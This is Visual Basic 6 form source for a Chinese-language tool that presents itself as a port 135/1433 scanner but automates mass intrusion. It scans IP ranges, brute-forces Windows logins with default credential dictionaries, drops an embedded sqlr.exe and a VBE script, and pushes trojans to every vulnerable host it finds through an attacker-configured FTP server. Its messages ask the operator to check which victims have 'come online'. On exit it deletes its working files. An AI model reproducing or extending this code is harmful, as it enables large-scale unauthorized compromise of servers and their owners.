form1.frm

功能强大的135以及1433端口扫描器

            Next NTexeIndex
        Close #1
    End If
    If Dir(App.Path & "\NT_pass.dic") = "" Then
            Open App.Path & "\NT_pass.dic" For Output As #1
                Print #1, "%null%"
            Close #1
    End If
    If Dir(App.Path & "\NT_user.dic") = "" Then
       Open App.Path & "\NT_user.dic" For Output As #1
             Print #1, "administrator"
        Close #1
    End If
    MsgBox "扫描完成后记得关闭NTScan哦!", vbInformation, "提示"
     Call ShellWait(App.Path & "\NTSCAN.exe")
     If Dir(App.Path & "\NTscan.txt") <> "" Then
     Open App.Path & "\NTscan.txt" For Input As #1
        Do Until EOF(1)
        Line Input #1, NTIP
        LstNTip.AddItem (NTIP)
        Loop
      Close #1
    Else
        MsgBox "扫描结果为空", vbExclamation, "NTSCAN"
        Exit Sub
    End If
    For i = 0 To LstNTip.ListCount - 1             '循环
        LstNTip.List(i) = Trim(Left(LstNTip.List(i), 15))       '截取每行的从左数15个字符并去掉空格
        LstNTip.List(i) = Trim(Replace(LstNTip.List(i), "[", ""))
    Next i
MsgBox "扫描完毕！请看结果.注意:" & vbCrLf & "结果已经被整理过了", vbInformation, "NTSCAN"
End Sub

Private Sub CmdSend_Click()
   Scan135 = True
    If LstNTip.ListCount = 0 Then
        MsgBox "扫描结果为空,不能传马", vbCritical, "警告"
        Exit Sub
    End If
    SendSpace = Val(TxtSpace.Text)
    Dim Tm2Interval As Long
    Tm2Interval = Val(TxtInterval.Text) * 1000
    Timer2.Interval = Tm2Interval
    Timercount = 0
    If FtpIP = "" Then
        MsgBox "你还没有设置FTP呢!", vbCritical, "注意"
        Exit Sub
    End If
    'Dim listIPCount As Integer
    '释放VBE
    Open App.Path & "\rpmd.vbe" For Output As #1
        Print #1, Text2
    Close #1
    Timer2.Enabled = True
End Sub

Private Sub CmdSetFtp_Click()
    Scan135 = True
    Frm_SetFtp.Show
End Sub

Private Sub CmdStartScan_Click()
    CmdStopScan.Enabled = True
    Scan135 = True
    CmdStartScan.Enabled = False
    Dim Port As String
    Dim ScanType As String
    Port = "135"
    If OptScanTcp.Value = True Then
        ScanType = "tcp"
    Else
        ScanType = "syn"
    End If
    If Dir(App.Path & "\NTscan.txt") <> "" Then
        Kill App.Path & "\NTscan.txt"
    End If
    Call StartScan(Trim(TxtStartIP), Trim(TxtEndIP), ScanType, Trim(TxtThreadCount), Port)
End Sub

Private Sub CmdStopScan_Click()
Scan135 = True
Dim hProcess As Long
hProcess = FindWindow(vbNullString, App.Path & "\s.exe")
SendMessage hProcess, WM_CLOSE, 0, 0
End Sub

Private Sub CmdTidySave_Click()
    '===================整理部分==================================
    Scan135 = True
    On Error Resume Next
    ListIP.RemoveItem (0)
    'ListIP.RemoveItem (1)
    Dim ListCount As Integer
    Dim AscIndex As Integer
    For ListCount = 0 To ListIP.ListCount - 1
        ListIP.List(ListCount) = Trim(Left(ListIP.List(ListCount), 15))       '截取每行的从左数15个字符并去掉空格
    Next ListCount
    For ListCount = 0 To ListIP.ListCount - 1                    '去除空行
        AscIndex = Asc(Left(Trim(ListIP.List(ListCount)), 1))        '将每行的第一个字符转换成ASCii码
            If ListIP.List(ListCount) = "" Or AscIndex < 48 Or AscIndex > 57 Then '如果该行为空或第一个字母不是数字则移除本行
                ListIP.RemoveItem (ListCount)
            End If
    Next ListCount
    If Dir(App.Path & "\Result.txt") <> "" Then
        If Dir(App.Path & "\host.txt") <> "" Then
            Kill App.Path & "\host"
        End If
        Open App.Path & "\host.txt" For Output As #1            '写入文件
            For ListCount = 0 To ListIP.ListCount - 1
                Print #1, ListIP.List(ListCount)
            Next ListCount
            Close #1
        MsgBox "文件以保存至本目录下的host.txt中", vbInformation, "保存成功"
    Else
        MsgBox "还没有进行S扫描不能保存!", vbCritical, "错误"
    End If
End Sub



Private Sub Command1_Click()
Scan135 = False
'===================整理部分==================================
    On Error Resume Next
    Dim ListCount As Integer
    Dim AscIndex As Integer
    V_ListIP.RemoveItem (0)
    'V_ListIP.RemoveItem (1)
    For ListCount = 0 To V_ListIP.ListCount - 1
        V_ListIP.List(ListCount) = Trim(Left(V_ListIP.List(ListCount), 15))       '截取每行的从左数15个字符并去掉空格
    Next ListCount
    For ListCount = 0 To V_ListIP.ListCount - 1                    '去除空行
        AscIndex = Asc(Left(Trim(V_ListIP.List(ListCount)), 1))        '将每行的第一个字符转换成ASCii码
            If V_ListIP.List(ListCount) = "" Or AscIndex < 48 Or AscIndex > 57 Then '如果该行为空或第一个字母不是数字则移除本行
                V_ListIP.RemoveItem (ListCount)
            End If
    Next ListCount
    If Dir(App.Path & "\Result.txt") <> "" Then
        If Dir(App.Path & "\xscan\x.txt") <> "" Then
            Kill App.Path & "\xscan\x.txt"
        End If
        Open App.Path & "\xscan\x.txt" For Output As #1            '写入文件
            For ListCount = 0 To V_ListIP.ListCount - 1
                Print #1, V_ListIP.List(ListCount)
            Next ListCount
            Close #1
        MsgBox "文件以保存至本目录下xscan中的x.txt中", vbInformation, "保存成功"
    Else
        MsgBox "还没有进行S扫描不能保存!", vbCritical, "错误"
    End If
End Sub

Private Sub Form_Load()
'************初始化起始状态******************
On Error Resume Next
CmdStopScan.Enabled = False
V_CmdXStop.Enabled = False
V_CmdStopScan.Enabled = False
Timercount = 0
V_OptScanTcp.Value = True
OptScanTcp.Value = True
V_ShowStat.Value = 1
Timer1.Enabled = False
Timer1.Interval = 2000
Timer2.Enabled = False
'Timer2.Interval = 1000
If Dir(App.Path & "\host.txt") <> "" Then
    Kill App.Path & "\host.txt"
End If

End Sub

Private Sub Form_Unload(Cancel As Integer)
    On Error Resume Next
    Dim hProcess As Long
    hProcess = FindWindow(vbNullString, App.Path & "\s.exe")
    SendMessage hProcess, WM_CLOSE, 0, 0
    Dim hProcess1 As Long
    hProcess1 = FindWindow(vbNullString, App.Path & "\xscan\Xsacn.exe")
    SendMessage hProcess1, WM_CLOSE, 0, 0
    Kill App.Path & "\s.exe"
    Kill App.Path & "\NTSCAN.exe"
    Kill App.Path & "\Result.txt"
    Kill App.Path & "\NTscan.txt"
    Kill App.Path & "\NT_pass.dic"
    Kill App.Path & "\NT_user.dic"
    Kill App.Path & "\rpmd.vbe"
    Kill App.Path & "\sqlr.exe"
    Kill App.Path & "\xscan\x.txt"
    Kill App.Path & "\up.txt"
    Kill App.Path & "\*.bat"
End Sub



Private Sub Timer1_Timer()
    '========循环显示处IP==================
    Dim Lineip As String
If Scan135 = True Then
    ListIP.Clear
    If Dir(App.Path & "\Result.txt") <> "" Then
        Open App.Path & "\Result.txt" For Input As #2
            Do Until EOF(2)
            Line Input #2, Lineip
            ListIP.AddItem (Lineip)
        Loop
    Close #2
    Else
        Exit Sub
    End If
Else
    V_ListIP.Clear
    If Dir(App.Path & "\Result.txt") <> "" Then
        Open App.Path & "\Result.txt" For Input As #2
            Do Until EOF(2)
            Line Input #2, Lineip
            V_ListIP.AddItem (Lineip)
            Loop
        Close #2
    Else
        Exit Sub
    End If
    '=====================================
End If
End Sub

Private Sub Timer2_Timer()
If Scan135 = True Then
    Dim ListIPCount As Integer                      '设置循环变量
    If LstNTip.ListCount < SendSpace Or LstNTip.ListCount = SendSpace Then          '判断list中的IP数和溢出速度的大小如果小于
        For ListIPCount = 0 To LstNTip.ListCount - 1 '直接循环不中断
            Call SendMa(LstNTip.List(ListIPCount))      '调用函数
        Next ListIPCount                               '循环
        'MsgBox "溢出完成!" & vbCrLf & "快去看看有上线的吗!^-^", vbInformation, "溢出"
        Timer2.Enabled = False                          '停止
    Else
            If LstNTip.ListCount - Timercount < SendSpace Or LstNTip.ListCount - Timercount = SendSpace Then  '若大于则
               ' '****************中断溢出在规定时间内溢出指定个数*************
                For Timercount = Timercount To LstNTip.ListCount - 1
                    Call SendMa(LstNTip.List(Timercount))
                Next Timercount
                Timer2.Enabled = False
            Else
                For Timercount = Timercount To (Timercount + SendSpace - 1)
                    Call SendMa(LstNTip.List(Timercount))
                Next Timercount
            End If
            '*******************************************************************
            'MsgBox "溢出完成!快去看看有上线的吗?", vbInformation, "溢出"
    End If
MsgBox "溢出完成!快去看看有上线的吗?", vbInformation, "溢出"
Else    '如果是1433入侵
    '这里填上1433的批量挂马的代码
    Dim V_listIPCount As Integer
    If ListXIP.ListCount < V_SendSpace Or ListXIP.ListCount = V_SendSpace Then
        For V_listIPCount = 0 To ListXIP.ListCount - 1
            Call Send1433Ma(ListXIP.List(V_listIPCount))
        Next V_listIPCount
        'MsgBox "溢出完成!" & vbCrLf & "快去看看有上线的吗!^-^", vbInformation, "溢出"
        Timer2.Enabled = False
    Else
        If ListXIP.ListCount - V_TimerCount < SendSpace Or ListXIP.ListCount - V_TimerCount = SendSpace Then
            For V_TimerCount = V_TimerCount To ListXIP.ListCount - 1
                Call Send1433Ma(ListXIP.List(V_TimerCount))
            Next V_TimerCount
            Timer2.Enabled = False
        Else
            For V_TimerCount = V_TimerCount To (V_TimerCount + V_SendSpace - 1)
                Call Send1433Ma(ListXIP.List(V_TimerCount))
            Next V_TimerCount
        End If
    End If
    MsgBox "溢出完成!" & vbCrLf & "快去看看有上线的吗!^-^", vbInformation, "溢出"
End If
End Sub


Private Sub V_CmdSend_Click()
Scan135 = False
If ListXIP.ListCount = 0 Or ListXIP.ListCount < 0 Then
    MsgBox "结果为空,不能传马", vbCritical, "警告"
End If
Timer2.Interval = Val(V_TxtInterval.Text) * 1000
V_SendSpace = Val(V_TxtSpace)
V_TimerCount = 0
If FtpIP = "" Then
    MsgBox "你还没有设置FTP呢!", vbCritical, "注意"
    Exit Sub
End If
'=============释放SQLR.EXE===============
Dim SQLRexe() As Byte
Dim SQLRexeIndex As Long
If Dir(App.Path & "\sqlr.exe") = "" Then
    SQLRexe = LoadResData(103, "CUSTOM")
    Open App.Path & "\sqlr.exe" For Binary As #1
        For SQLRexeIndex = 0 To FILESQLRSIZE - 1
            Put #1, , SQLRexe(SQLRexeIndex)
        Next SQLRexeIndex
    Close #1
End If
Timer2.Enabled = True
End Sub

Private Sub V_CmdSetFtp_Click()
Scan135 = False
Call CmdSetFtp_Click
End Sub

Private Sub V_CmdStartScan_Click()
    V_CmdStopScan.Enabled = True
    Scan135 = False                     '判断扫描哪个端口
    V_CmdStartScan.Enabled = False
    Dim V_Port As String
    Dim V_ScanType As String
    V_Port = "1433"
    If V_OptScanTcp.Value = True Then
        V_ScanType = "tcp"
    Else
        V_ScanType = "syn"
    End If
    If Dir(App.Path & "\xscan\x.txt") <> "" Then
        Kill App.Path & "\xscan\x.txt"
    End If
    Call StartScan(Trim(V_TxtStartIp), Trim(V_TxtEndIP), V_ScanType, Trim(V_TxtThreadCount), V_Port)
End Sub

Private Sub V_CmdStopScan_Click()
Scan135 = False
'结束进程(s.exe)
Dim hProcess As Long
hProcess = FindWindow(vbNullString, App.Path & "\s.exe")
SendMessage hProcess, WM_CLOSE, 0, 0
End Sub

Private Sub V_CmdXStart_Click()
    Scan135 = False
    '判断扫描结果是否存在
    V_CmdXStop.Enabled = True
    V_CmdXStart.Enabled = False
    If Dir(App.Path & "\xscan\x.txt") <> "" Then
        Call Xscan(V_ShowStat.Value, Trim(V_TxtThreadCount.Text), Trim(V_TxtXspace.Text))
    Else
        MsgBox "请先保存S扫描结果", vbCritical, "错误"
        V_CmdXStart.Enabled = True
        V_CmdXStop.Enabled = False
        Exit Sub
    End If
End Sub

Private Sub V_CmdXStop_Click()
    Dim hProcess As Long
    hProcess = FindWindow(vbNullString, App.Path & "\xscan\Xsacn.exe")
    SendMessage hProcess, WM_CLOSE, 0, 0
End Sub